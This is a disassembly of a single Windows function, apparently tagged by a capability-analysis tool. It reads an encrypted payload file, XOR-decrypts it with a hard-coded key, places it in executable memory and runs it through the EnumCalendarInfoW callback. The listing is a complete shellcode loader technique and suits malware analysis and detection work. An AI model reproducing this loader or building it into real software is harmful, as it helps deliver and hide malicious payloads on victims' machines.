Function at 0x140001290
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x1b8], rax
movzx eax, word [0x140005540]
lea rcx, [rbp + 0x50]
movsd xmm0, qword [str.payload.ini]
mov r13d, 0xf
mov word [rbp + 0x188], ax
xor edx, edx
movzx eax, byte [0x140005542]
mov r8d, 0x110
mov byte [rbp + 0x18a], al
mov dword [rbp + 0x18c], 0
mov qword [rbp + 0x190], 0xb
mov qword [rbp + 0x198], r13
movsd qword [rbp + 0x180], xmm0
mov byte [rbp + 0x18b], 0
call sub.VCRUNTIME140.dll_memset
mov ebx, 1
lea rdx, [rbp + 0x180]
mov r8d, ebx
lea rcx, [rbp + 0x50]
call fcn.140002850
mov rax, qword [rbp + 0x50]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x50], rdi
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x4c], edx
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400013d2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140005550]
call fcn.140002a80
cmp qword [rbp + 0x198], r13
lea rdx, [rbp + 0x180]
mov r8, qword [rbp + 0x190]
mov rcx, rax
cmova rdx, qword [rbp + 0x180]
call fcn.140002f40
mov rcx, rax
lea rdx, [0x140002c50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001764
mov rax, qword [rbp + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], 0
mov dl, 0xa
mov qword [rbp + 0x178], r13
mov byte [rbp + 0x160], 0
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x50]
call fcn.140003100
lea rcx, [rbp + 0x60]
call fcn.140002790
test rax, rax
jne 0x14000144a
mov rax, qword [rbp + 0x50]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memset
cmp qword [rbp + 0x178], r13
lea rdx, [rbp + 0x160]
mov r8d, 0x20
lea rcx, [rsp + 0x40]
cmova rdx, qword [rbp + 0x160]
call fcn.140002850
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], rdi
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x14000150b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.open_encrypted_file_error:
call fcn.140002a80
cmp qword [rbp + 0x178], r13
lea rdx, [rbp + 0x160]
mov r8, qword [rbp + 0x170]
mov rcx, rax
cmova rdx, qword [rbp + 0x160]
call fcn.140002f40
mov rcx, rax
lea rdx, [0x140002c50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001705
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 2]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
mov r14, qword [rax + 8]
add r14, qword [rax]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xor r15d, r15d
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1a0], xmm0
test r14, r14
je 0x1400015be
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1400017e8
cmp r14, 0x1000
jb 0x14000159d
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x1400017e2
call fcn.140003328
test rax, rax
je 0x1400017a4
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400015a8
mov rcx, r14
call fcn.140003328
mov rsi, rax
mov r8, r14
lea r15, [rsi + r14]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov rbx, r15
jmp 0x1400015cc
mov rbx, qword [rbp + 0x1a8]
mov rsi, qword [rbp + 0x1a0]
mov r8, r14
lea rcx, [rsp + 0x40]
mov rdx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x50]
call fcn.140002790
test rax, rax
jne 0x14000160a
mov rax, qword [rsp + 0x40]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movsd xmm0, qword [str.SecretKey]
xor r9d, r9d
movzx eax, word [0x140008170]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], ax
test r14, r14
je 0x140001665
movabs r8, 0xe38e38e38e38e38f
nop word [rax + rax]
mov rcx, r9
mov rax, r8
mul r9
shr rdx, 3
lea rax, [rdx + rdx*8]
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x30]
xor byte [r9 + rsi], al
inc r9
cmp r9, r14
jb 0x140001640
mov rcx, r14
call fcn.140003364
sub rbx, rsi
mov rdx, rsi
mov r8, rbx
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, r14
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memmove
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140003320
xor ebx, ebx
test rsi, rsi
je 0x140001705
sub r15, rsi
mov rax, rsi
cmp r15, 0x1000
jb 0x1400016fa
mov rsi, qword [rsi - 8]
add r15, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017a4
mov rdx, r15
mov rcx, rsi
call fcn.140003320
lea rcx, [rsp + 0x40]
call fcn.1400017f0
mov rdx, qword [rbp + 0x178]
cmp rdx, r13
jbe 0x14000174b
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001746
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017a4
call fcn.140003320
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], r13
mov byte [rbp + 0x160], 0
lea rcx, [rbp + 0x50]
call fcn.1400017f0
mov rdx, qword [rbp + 0x198]
cmp rdx, r13
jbe 0x1400017b0
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003320
mov eax, ebx
mov rcx, qword [rbp + 0x1b8]
xor rcx, rsp
call fcn.140003300
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001110
int3
call fcn.140002f20
int3